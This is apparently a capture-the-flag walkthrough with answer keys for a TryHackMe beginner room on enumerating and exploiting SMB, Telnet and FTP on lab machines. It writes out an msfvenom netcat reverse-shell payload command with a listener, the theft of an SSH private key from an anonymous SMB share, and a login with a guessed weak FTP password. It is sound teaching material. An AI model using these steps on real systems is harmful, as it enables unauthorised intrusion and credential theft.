Skip to main content

THM | Network Services

· 8 min read

Network Exploitation Basics | Network Services | Summary:

This series of walkthroughs aims to help out complete beginners with finishing the Complete Beginner path on the TryHackMe website. It is based on the learning content provided in the Network Services room.


Disclaimer: Please note that this write-up is NOT intended to replace the original room or its content, but rather serve as supplementary material for those who are stuck and need additional guidance.

Task | 01 | Get Connected

Question 1: Ready? Let's get going!

No answer needed

Task | 02 | Understanding SMB

Question 1: What does SMB stand for?

Server Message Block

Question 2: What type of protocol is SMB?

response-request

Question 3: What do clients connect to servers using?

TCP/IP

Question 4: What systems does Samba run on?

Unix

Task | 03 | Enumerating SMB

Question 1: Conduct an nmap scan of your choosing, How many ports are open?

3

Question 2: What ports is SMB running on?

139/445

Question 3: Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?

WORKGROUP

Question 4: What comes up as the name of the machine?

POLOSMB

Question 5: What operating system version is running?

6.1

Question 6: What share sticks out as something we might want to investigate?

profiles

Task | 04 | Exploiting SMB

Question 1: What would be the correct syntax to access an SMB share called "secret" as user "suit" on a machine with the IP 10.10.10.2 on the default port?

smbclient //10.10.10.2/secret -U suit -p 445

Question 2: Great! Now you've got a hang of the syntax, let's have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.

No answer needed

Question 3: Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn't require authentication to view the files. We can do this easily by:

  • using the username "Anonymous"
  • connecting to the share we found during the enumeration stage
  • and not supplying a password.
  • Does the share allow anonymous access? Y/N?

Y

Question 4: Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

John Cactus

Question 5: What service has been configured to allow him to work from home?

ssh

Question 6: Okay! Now we know this, what directory on the share should we look in?

.ssh

Question 7: This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?

id_rsa

Question 8: Download this file to your local machine, and change the permissions to "600" using chmod 600 [file]. Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server. What is the smb.txt flag?

<flag>

Task | 05 | Understanding Telnet

Question 1: What is Telnet?

application protocol

Question 2: What has slowly replaced Telnet?

ssh

Question 3: How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?

telnet 10.10.10.3 23

Question 4: The lack of what, means that all Telnet communication is in plaintext?

encryption

Task | 06 | Enumerating Telnet

Question 1: How many ports are open on the target machine?

1

Question 2: What port is this?

8012

Question 3: This port is unassigned, but still lists the protocol it's using, what protocol is this?

tcp

Question 4: Now re-run the nmap scan, without the -p- tag, how many ports show up as open?

0

Question 5: Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It's important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.

No answer needed

Question 6: Based on the title returned to us, what do we think this port could be used for ?

a backdoor

Question 7: Who could it belong to? Gathering possible usernames is an important step in enumeration.

Skidy

Question 8: Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.

No answer needed

Task | 07 | Exploiting Telnet

Question 1: Okay, let's try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.

No answer needed

Question 2: Great! It's an open telnet connection! What welcome message do we receive?

SKIDY'S BACKDOOR.

Question 3: Let's try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)

N

Question 4: Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.

No answer needed

Question 5: Start a tcpdump listener on your local machine

  • If using your own machine with the OpenVPN connection, use: sudo tcpdump ip proto \\icmp -i tun0
  • If using the AttackBox, use: sudo tcpdump ip proto \\icmp -i ens5
  • This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.

No answer needed

Question 6: Now, use the command ping [local THM ip] -c 1 through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)

Y

Question 7: Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let's have some fun!

No answer needed

Question 8: We're going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here's our syntax:msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R

  • -p | payload
  • lhost | our local host IP address (this is your machine's IP address)
  • lport | the port to listen on (this is the port on your machine)
  • R | export the payload in raw format
  • What word does the generated payload start with?

mkfifo

Question 9: Perfect. We're nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using: nc -lvnp [listening port]. What would the command look like for the listening port we selected in our payload?

nc -lvnp 4444

Question 10: Great! Now that's running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!

No answer needed

Question 11: Success! What is the contents of flag.txt?

<flag>

Task | 08 | Understanding FTP

Question 1: What communications model does FTP use?

client-server

Question 2: What's the standard FTP port?

21

Question 3: How many modes of FTP connection are there?

2

Task | 09 | Enumerating FTP

Question 1: Run an nmap scan of your choice. How many ports are open on the target machine?

2

Question 2: What port is ftp running on?

21

Question 3: What variant of FTP is running on it?

vsftpd

Question 4: Great, now we know what type of FTP server we're dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing ftp [IP] into the console, and entering "anonymous", and no password when prompted. What is the name of the file in the anonymous FTP directory?

PUBLIC_NOTICE.txt

Question 5: What do we think a possible username could be?

mike

Question 6: Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...

No answer needed

Task | 10 | Exploiting FTP

Question 1: What is the password for the user "mike"?

password

Question 2: Bingo! Now, let's connect to the FTP server as this user using ftp [IP] and entering the credentials when prompted

No answer needed

Question 3: What is ftp.txt?

<flag>

Task | 11 | Expanding Your Knowledge

Question 1: Well done, you did it!

No answer needed